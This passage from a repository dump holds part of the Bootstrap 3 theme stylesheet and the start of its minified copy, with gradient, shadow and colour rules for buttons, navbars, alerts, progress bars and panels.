progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0); 107 | } 108 | 109 | .btn-danger:active, 110 | .btn-danger.active { 111 | background-color: #c9302c; 112 | border-color: #c12e2a; 113 | } 114 | 115 | .btn-info { 116 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#5bc0de), to(#31b0d5)); 117 | background-image: -webkit-linear-gradient(top, #5bc0de, 0%, #31b0d5, 100%); 118 | background-image: -moz-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); 119 | background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%); 120 | background-repeat: repeat-x; 121 | border-color: #2aabd2; 122 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0); 123 | } 124 | 125 | .btn-info:active, 126 | .btn-info.active { 127 | background-color: #31b0d5; 128 | border-color: #2aabd2; 129 | } 130 | 131 | .thumbnail, 132 | .img-thumbnail { 133 | -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075); 134 | box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075); 135 | } 136 | 137 | .dropdown-menu > li > a:hover, 138 | .dropdown-menu > li > a:focus, 139 | .dropdown-menu > .active > a, 140 | .dropdown-menu > .active > a:hover, 141 | .dropdown-menu > .active > a:focus { 142 | background-color: #357ebd; 143 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#428bca), to(#357ebd)); 144 | background-image: -webkit-linear-gradient(top, #428bca, 0%, #357ebd, 100%); 145 | background-image: -moz-linear-gradient(top, #428bca 0%, #357ebd 100%); 146 | background-image: linear-gradient(to bottom, #428bca 0%, #357ebd 100%); 147 | background-repeat: repeat-x; 148 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff357ebd', GradientType=0); 149 | } 150 | 151 | .navbar { 152 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#ffffff), to(#f8f8f8)); 153 | background-image: -webkit-linear-gradient(top, #ffffff, 0%, #f8f8f8, 100%); 154 | background-image: -moz-linear-gradient(top, #ffffff 0%, #f8f8f8 100%); 155 | background-image: linear-gradient(to bottom, #ffffff 0%, #f8f8f8 100%); 156 | background-repeat: repeat-x; 157 | border-radius: 4px; 158 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0); 159 | -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075); 160 | box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 5px rgba(0, 0, 0, 0.075); 161 | } 162 | 163 | .navbar .navbar-nav > .active > a { 164 | background-color: #f8f8f8; 165 | } 166 | 167 | .navbar-brand, 168 | .navbar-nav > li > a { 169 | text-shadow: 0 1px 0 rgba(255, 255, 255, 0.25); 170 | } 171 | 172 | .navbar-inverse { 173 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#3c3c3c), to(#222222)); 174 | background-image: -webkit-linear-gradient(top, #3c3c3c, 0%, #222222, 100%); 175 | background-image: -moz-linear-gradient(top, #3c3c3c 0%, #222222 100%); 176 | background-image: linear-gradient(to bottom, #3c3c3c 0%, #222222 100%); 177 | background-repeat: repeat-x; 178 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0); 179 | } 180 | 181 | .navbar-inverse .navbar-nav > .active > a { 182 | background-color: #222222; 183 | } 184 | 185 | .navbar-inverse .navbar-brand, 186 | .navbar-inverse .navbar-nav > li > a { 187 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 188 | } 189 | 190 | .navbar-static-top, 191 | .navbar-fixed-top, 192 | .navbar-fixed-bottom { 193 | border-radius: 0; 194 | } 195 | 196 | .alert { 197 | text-shadow: 0 1px 0 rgba(255, 255, 255, 0.2); 198 | -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05); 199 | box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.25), 0 1px 2px rgba(0, 0, 0, 0.05); 200 | } 201 | 202 | .alert-success { 203 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#dff0d8), to(#c8e5bc)); 204 | background-image: -webkit-linear-gradient(top, #dff0d8, 0%, #c8e5bc, 100%); 205 | background-image: -moz-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); 206 | background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%); 207 | background-repeat: repeat-x; 208 | border-color: #b2dba1; 209 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0); 210 | } 211 | 212 | .alert-info { 213 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#d9edf7), to(#b9def0)); 214 | background-image: -webkit-linear-gradient(top, #d9edf7, 0%, #b9def0, 100%); 215 | background-image: -moz-linear-gradient(top, #d9edf7 0%, #b9def0 100%); 216 | background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%); 217 | background-repeat: repeat-x; 218 | border-color: #9acfea; 219 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0); 220 | } 221 | 222 | .alert-warning { 223 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#fcf8e3), to(#f8efc0)); 224 | background-image: -webkit-linear-gradient(top, #fcf8e3, 0%, #f8efc0, 100%); 225 | background-image: -moz-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); 226 | background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%); 227 | background-repeat: repeat-x; 228 | border-color: #f5e79e; 229 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0); 230 | } 231 | 232 | .alert-danger { 233 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#f2dede), to(#e7c3c3)); 234 | background-image: -webkit-linear-gradient(top, #f2dede, 0%, #e7c3c3, 100%); 235 | background-image: -moz-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); 236 | background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%); 237 | background-repeat: repeat-x; 238 | border-color: #dca7a7; 239 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0); 240 | } 241 | 242 | .progress { 243 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#ebebeb), to(#f5f5f5)); 244 | background-image: -webkit-linear-gradient(top, #ebebeb, 0%, #f5f5f5, 100%); 245 | background-image: -moz-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); 246 | background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%); 247 | background-repeat: repeat-x; 248 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0); 249 | } 250 | 251 | .progress-bar { 252 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#428bca), to(#3071a9)); 253 | background-image: -webkit-linear-gradient(top, #428bca, 0%, #3071a9, 100%); 254 | background-image: -moz-linear-gradient(top, #428bca 0%, #3071a9 100%); 255 | background-image: linear-gradient(to bottom, #428bca 0%, #3071a9 100%); 256 | background-repeat: repeat-x; 257 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff3071a9', GradientType=0); 258 | } 259 | 260 | .progress-bar-success { 261 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#5cb85c), to(#449d44)); 262 | background-image: -webkit-linear-gradient(top, #5cb85c, 0%, #449d44, 100%); 263 | background-image: -moz-linear-gradient(top, #5cb85c 0%, #449d44 100%); 264 | background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%); 265 | background-repeat: repeat-x; 266 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0); 267 | } 268 | 269 | .progress-bar-info { 270 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#5bc0de), to(#31b0d5)); 271 | background-image: -webkit-linear-gradient(top, #5bc0de, 0%, #31b0d5, 100%); 272 | background-image: -moz-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); 273 | background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%); 274 | background-repeat: repeat-x; 275 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0); 276 | } 277 | 278 | .progress-bar-warning { 279 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#f0ad4e), to(#ec971f)); 280 | background-image: -webkit-linear-gradient(top, #f0ad4e, 0%, #ec971f, 100%); 281 | background-image: -moz-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); 282 | background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%); 283 | background-repeat: repeat-x; 284 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0); 285 | } 286 | 287 | .progress-bar-danger { 288 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#d9534f), to(#c9302c)); 289 | background-image: -webkit-linear-gradient(top, #d9534f, 0%, #c9302c, 100%); 290 | background-image: -moz-linear-gradient(top, #d9534f 0%, #c9302c 100%); 291 | background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%); 292 | background-repeat: repeat-x; 293 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0); 294 | } 295 | 296 | .list-group { 297 | border-radius: 4px; 298 | -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075); 299 | box-shadow: 0 1px 2px rgba(0, 0, 0, 0.075); 300 | } 301 | 302 | .list-group-item.active, 303 | .list-group-item.active:hover, 304 | .list-group-item.active:focus { 305 | text-shadow: 0 -1px 0 #3071a9; 306 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#428bca), to(#3278b3)); 307 | background-image: -webkit-linear-gradient(top, #428bca, 0%, #3278b3, 100%); 308 | background-image: -moz-linear-gradient(top, #428bca 0%, #3278b3 100%); 309 | background-image: linear-gradient(to bottom, #428bca 0%, #3278b3 100%); 310 | background-repeat: repeat-x; 311 | border-color: #3278b3; 312 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff3278b3', GradientType=0); 313 | } 314 | 315 | .panel { 316 | -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05); 317 | box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05); 318 | } 319 | 320 | .panel-default > .panel-heading { 321 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#f5f5f5), to(#e8e8e8)); 322 | background-image: -webkit-linear-gradient(top, #f5f5f5, 0%, #e8e8e8, 100%); 323 | background-image: -moz-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); 324 | background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); 325 | background-repeat: repeat-x; 326 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); 327 | } 328 | 329 | .panel-primary > .panel-heading { 330 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#428bca), to(#357ebd)); 331 | background-image: -webkit-linear-gradient(top, #428bca, 0%, #357ebd, 100%); 332 | background-image: -moz-linear-gradient(top, #428bca 0%, #357ebd 100%); 333 | background-image: linear-gradient(to bottom, #428bca 0%, #357ebd 100%); 334 | background-repeat: repeat-x; 335 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca', endColorstr='#ff357ebd', GradientType=0); 336 | } 337 | 338 | .panel-success > .panel-heading { 339 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#dff0d8), to(#d0e9c6)); 340 | background-image: -webkit-linear-gradient(top, #dff0d8, 0%, #d0e9c6, 100%); 341 | background-image: -moz-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); 342 | background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%); 343 | background-repeat: repeat-x; 344 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0); 345 | } 346 | 347 | .panel-info > .panel-heading { 348 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#d9edf7), to(#c4e3f3)); 349 | background-image: -webkit-linear-gradient(top, #d9edf7, 0%, #c4e3f3, 100%); 350 | background-image: -moz-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); 351 | background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%); 352 | background-repeat: repeat-x; 353 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0); 354 | } 355 | 356 | .panel-warning > .panel-heading { 357 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#fcf8e3), to(#faf2cc)); 358 | background-image: -webkit-linear-gradient(top, #fcf8e3, 0%, #faf2cc, 100%); 359 | background-image: -moz-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); 360 | background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%); 361 | background-repeat: repeat-x; 362 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0); 363 | } 364 | 365 | .panel-danger > .panel-heading { 366 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#f2dede), to(#ebcccc)); 367 | background-image: -webkit-linear-gradient(top, #f2dede, 0%, #ebcccc, 100%); 368 | background-image: -moz-linear-gradient(top, #f2dede 0%, #ebcccc 100%); 369 | background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%); 370 | background-repeat: repeat-x; 371 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0); 372 | } 373 | 374 | .well { 375 | background-image: -webkit-gradient(linear, left 0%, left 100%, from(#e8e8e8), to(#f5f5f5)); 376 | background-image: -webkit-linear-gradient(top, #e8e8e8, 0%, #f5f5f5, 100%); 377 | background-image: -moz-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); 378 | background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%); 379 | background-repeat: repeat-x; 380 | border-color: #dcdcdc; 381 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0); 382 | -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1); 383 | box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05), 0 1px 0 rgba(255, 255, 255, 0.1); 384 | } 385 | -------------------------------------------------------------------------------- /static/css/bootstrap-theme.min.css: -------------------------------------------------------------------------------- 1 | .btn-default,.btn-primary,.btn-success,.btn-info,.btn-warning,.btn-danger{text-shadow:0 -1px 0 rgba(0,0,0,0.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.15),0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 0 rgba(255,255,255,0.15),0 1px 1px rgba(0,0,0,0.075)}.btn-default:active,.btn-primary:active,.btn-success:active,.btn-info:active,.btn-warning:active,.btn-danger:active,.btn-default.active,.btn-primary.active,.btn-success.active,.btn-info.active,.btn-warning.active,.btn-danger.active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.btn:active,.btn.active{background-image:none}.btn-default{text-shadow:0 1px 0 #fff;background-image:-webkit-gradient(linear,left 0,left 100%,from(#fff),to(#e6e6e6));background-image:-webkit-linear-gradient(top,#fff,0%,#e6e6e6,100%);background-image:-moz-linear-gradient(top,#fff 0,#e6e6e6 100%);background-image:linear-gradient(to bottom,#fff 0,#e6e6e6 100%);background-repeat:repeat-x;border-color:#e0e0e0;border-color:#ccc;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff',endColorstr='#ffe6e6e6',GradientType=0)}.btn-default:active,.btn-default.active{background-color:#e6e6e6;border-color:#e0e0e0}.btn-primary{background-image:-webkit-gradient(linear,left 0,left 100%,from(#428bca),to(#3071a9));background-image:-webkit-linear-gradient(top,#428bca,0%,#3071a9,100%);background-image:-moz-linear-gradient(top,#428bca 0,#3071a9 100%);background-image:linear-gradient(to bottom,#428bca 0,#3071a9 100%);background-repeat:repeat-x;border-color:#2d6ca2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca',endColorstr='#ff3071a9',GradientType=0)}.btn-primary:active,.btn-primary.active{background-color:#3071a9;border-color:#2d6ca2}.btn-success{background-image:-webkit-gradient(linear,left 0,left 100%,from(#5cb85c),to(#449d44));background-image:-webkit-linear-gradient(top,#5cb85c,0%,#449d44,100%);background-image:-moz-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:linear-gradient(to bottom,#5cb85c 0,#449d44 100%);background-repeat:repeat-x;border-color:#419641;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c',endColorstr='#ff449d44',GradientType=0)}.btn-success:active,.btn-success.active{background-color:#449d44;border-color:#419641}.btn-warning{background-image:-webkit-gradient(linear,left 0,left 100%,from(#f0ad4e),to(#ec971f));background-image:-webkit-linear-gradient(top,#f0ad4e,0%,#ec971f,100%);background-image:-moz-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:linear-gradient(to bottom,#f0ad4e 0,#ec971f 100%);background-repeat:repeat-x;border-color:#eb9316;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e',endColorstr='#ffec971f',GradientType=0)}.btn-warning:active,.btn-warning.active{background-color:#ec971f;border-color:#eb9316}.btn-danger{background-image:-webkit-gradient(linear,left 0,left 100%,from(#d9534f),to(#c9302c));background-image:-webkit-linear-gradient(top,#d9534f,0%,#c9302c,100%);background-image:-moz-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:linear-gradient(to bottom,#d9534f 0,#c9302c 100%);background-repeat:repeat-x;border-color:#c12e2a;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f',endColorstr='#ffc9302c',GradientType=0)}.btn-danger:active,.btn-danger.active{background-color:#c9302c;border-color:#c12e2a}.btn-info{background-image:-webkit-gradient(linear,left 0,left 100%,from(#5bc0de),to(#31b0d5));background-image:-webkit-linear-gradient(top,#5bc0de,0%,#31b0d5,100%);background-image:-moz-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:linear-gradient(to bottom,#5bc0de 0,#31b0d5 100%);background-repeat:repeat-x;border-color:#2aabd2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de',endColorstr='#ff31b0d5',GradientType=0)}.btn-info:active,.btn-info.active{background-color:#31b0d5;border-color:#2aabd2}.thumbnail,.img-thumbnail{-webkit-box-shadow:0 1px 2px rgba(0,0,0,0.075);box-shadow:0 1px 2px rgba(0,0,0,0.075)}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus,.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{background-color:#357ebd;background-image:-webkit-gradient(linear,left 0,left 100%,from(#428bca),to(#357ebd));background-image:-webkit-linear-gradient(top,#428bca,0%,#357ebd,100%);background-image:-moz-linear-gradient(top,#428bca 0,#357ebd 100%);background-image:linear-gradient(to bottom,#428bca 0,#357ebd 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca',endColorstr='#ff357ebd',GradientType=0)}.navbar{background-image:-webkit-gradient(linear,left 0,left 100%,from(#fff),to(#f8f8f8));background-image:-webkit-linear-gradient(top,#fff,0%,#f8f8f8,100%);background-image:-moz-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:linear-gradient(to bottom,#fff 0,#f8f8f8 100%);background-repeat:repeat-x;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff',endColorstr='#fff8f8f8',GradientType=0);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.15),0 1px 5px rgba(0,0,0,0.075);box-shadow:inset 0 1px 0 rgba(255,255,255,0.15),0 1px 5px rgba(0,0,0,0.075)}.navbar .navbar-nav>.active>a{background-color:#f8f8f8}.navbar-brand,.navbar-nav>li>a{text-shadow:0 1px 0 rgba(255,255,255,0.25)}.navbar-inverse{background-image:-webkit-gradient(linear,left 0,left 100%,from(#3c3c3c),to(#222));background-image:-webkit-linear-gradient(top,#3c3c3c,0%,#222,100%);background-image:-moz-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:linear-gradient(to bottom,#3c3c3c 0,#222 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c',endColorstr='#ff222222',GradientType=0)}.navbar-inverse .navbar-nav>.active>a{background-color:#222}.navbar-inverse .navbar-brand,.navbar-inverse .navbar-nav>li>a{text-shadow:0 -1px 0 rgba(0,0,0,0.25)}.navbar-static-top,.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}.alert{text-shadow:0 1px 0 rgba(255,255,255,0.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.25),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.25),0 1px 2px rgba(0,0,0,0.05)}.alert-success{background-image:-webkit-gradient(linear,left 0,left 100%,from(#dff0d8),to(#c8e5bc));background-image:-webkit-linear-gradient(top,#dff0d8,0%,#c8e5bc,100%);background-image:-moz-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:linear-gradient(to bottom,#dff0d8 0,#c8e5bc 100%);background-repeat:repeat-x;border-color:#b2dba1;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8',endColorstr='#ffc8e5bc',GradientType=0)}.alert-info{background-image:-webkit-gradient(linear,left 0,left 100%,from(#d9edf7),to(#b9def0));background-image:-webkit-linear-gradient(top,#d9edf7,0%,#b9def0,100%);background-image:-moz-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:linear-gradient(to bottom,#d9edf7 0,#b9def0 100%);background-repeat:repeat-x;border-color:#9acfea;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7',endColorstr='#ffb9def0',GradientType=0)}.alert-warning{background-image:-webkit-gradient(linear,left 0,left 100%,from(#fcf8e3),to(#f8efc0));background-image:-webkit-linear-gradient(top,#fcf8e3,0%,#f8efc0,100%);background-image:-moz-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:linear-gradient(to bottom,#fcf8e3 0,#f8efc0 100%);background-repeat:repeat-x;border-color:#f5e79e;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3',endColorstr='#fff8efc0',GradientType=0)}.alert-danger{background-image:-webkit-gradient(linear,left 0,left 100%,from(#f2dede),to(#e7c3c3));background-image:-webkit-linear-gradient(top,#f2dede,0%,#e7c3c3,100%);background-image:-moz-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:linear-gradient(to bottom,#f2dede 0,#e7c3c3 100%);background-repeat:repeat-x;border-color:#dca7a7;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede',endColorstr='#ffe7c3c3',GradientType=0)}.progress{background-image:-webkit-gradient(linear,left 0,left 100%,from(#ebebeb),to(#f5f5f5));background-image:-webkit-linear-gradient(top,#ebebeb,0%,#f5f5f5,100%);background-image:-moz-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:linear-gradient(to bottom,#ebebeb 0,#f5f5f5 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb',endColorstr='#fff5f5f5',GradientType=0)}.progress-bar{background-image:-webkit-gradient(linear,left 0,left 100%,from(#428bca),to(#3071a9));background-image:-webkit-linear-gradient(top,#428bca,0%,#3071a9,100%);background-image:-moz-linear-gradient(top,#428bca 0,#3071a9 100%);background-image:linear-gradient(to bottom,#428bca 0,#3071a9 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca',endColorstr='#ff3071a9',GradientType=0)}.progress-bar-success{background-image:-webkit-gradient(linear,left 0,left 100%,from(#5cb85c),to(#449d44));background-image:-webkit-linear-gradient(top,#5cb85c,0%,#449d44,100%);background-image:-moz-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:linear-gradient(to bottom,#5cb85c 0,#449d44 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c',endColorstr='#ff449d44',GradientType=0)}.progress-bar-info{background-image:-webkit-gradient(linear,left 0,left 100%,from(#5bc0de),to(#31b0d5));background-image:-webkit-linear-gradient(top,#5bc0de,0%,#31b0d5,100%);background-image:-moz-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:linear-gradient(to bottom,#5bc0de 0,#31b0d5 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de',endColorstr='#ff31b0d5',GradientType=0)}.progress-bar-warning{background-image:-webkit-gradient(linear,left 0,left 100%,from(#f0ad4e),to(#ec971f));background-image:-webkit-linear-gradient(top,#f0ad4e,0%,#ec971f,100%);background-image:-moz-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:linear-gradient(to bottom,#f0ad4e 0,#ec971f 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e',endColorstr='#ffec971f',GradientType=0)}.progress-bar-danger{background-image:-webkit-gradient(linear,left 0,left 100%,from(#d9534f),to(#c9302c));background-image:-webkit-linear-gradient(top,#d9534f,0%,#c9302c,100%);background-image:-moz-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:linear-gradient(to bottom,#d9534f 0,#c9302c 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f',endColorstr='#ffc9302c',GradientType=0)}.list-group{border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0,0,0,0.075);box-shadow:0 1px 2px rgba(0,0,0,0.075)}.list-group-item.active,.list-group-item.active:hover,.list-group-item.active:focus{text-shadow:0 -1px 0 #3071a9;background-image:-webkit-gradient(linear,left 0,left 100%,from(#428bca),to(#3278b3));background-image:-webkit-linear-gradient(top,#428bca,0%,#3278b3,100%);background-image:-moz-linear-gradient(top,#428bca 0,#3278b3 100%);background-image:linear-gradient(to bottom,#428bca 0,#3278b3 100%);background-repeat:repeat-x;border-color:#3278b3;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca',endColorstr='#ff3278b3',GradientType=0)}.panel{-webkit-box-shadow:0 1px 2px rgba(0,0,0,0.05);box-shadow:0 1px 2px rgba(0,0,0,0.05)}.panel-default>.panel-heading{background-image:-webkit-gradient(linear,left 0,left 100%,from(#f5f5f5),to(#e8e8e8));background-image:-webkit-linear-gradient(top,#f5f5f5,0%,#e8e8e8,100%);background-image:-moz-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5',endColorstr='#ffe8e8e8',GradientType=0)}.panel-primary>.panel-heading{background-image:-webkit-gradient(linear,left 0,left 100%,from(#428bca),to(#357ebd));background-image:-webkit-linear-gradient(top,#428bca,0%,#357ebd,100%);background-image:-moz-linear-gradient(top,#428bca 0,#357ebd 100%);background-image:linear-gradient(to bottom,#428bca 0,#357ebd 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff428bca',endColorstr='#ff357ebd',GradientType=0)}.panel-success>.panel-heading{background-image:-webkit-gradient(linear,left 0,left 100%,from(#dff0d8),to(#d0e9c6));background-image:-webkit-linear-gradient(top,#dff0d8,0%,#d0e9c6,100%);background-image:-moz-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:linear-gradient(to bottom,#dff0d8 0,#d0e9c6 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8',endColorstr='#ffd0e9c6',GradientType=0)}.panel-info>.panel-heading{background-image:-webkit-gradient(linear,left 0,left 100%,from(#d9edf7),to(#c4e3f3));background-image:-webkit-linear-gradient(top,#d9edf7,0%,#c4e3f3,100%);background-image:-moz-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:linear-gradient(to bottom,#d9edf7 0,#c4e3f3 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7',endColorstr='#ffc4e3f3',GradientType=0)}.panel-warning>.panel-heading{background-image:-webkit-gradient(linear,left 0,left 100%,from(#fcf8e3),to(#faf2cc));background-image:-webkit-linear-gradient(top,#fcf8e3,0%,#faf2cc,100%);background-image:-moz-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:linear-gradient(to bottom,#fcf8e3 0,#faf2cc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3',endColorstr='#fffaf2cc',GradientType=0)}.panel-danger>.panel-heading{background-image:-webkit-gradient(linear,left 0,left 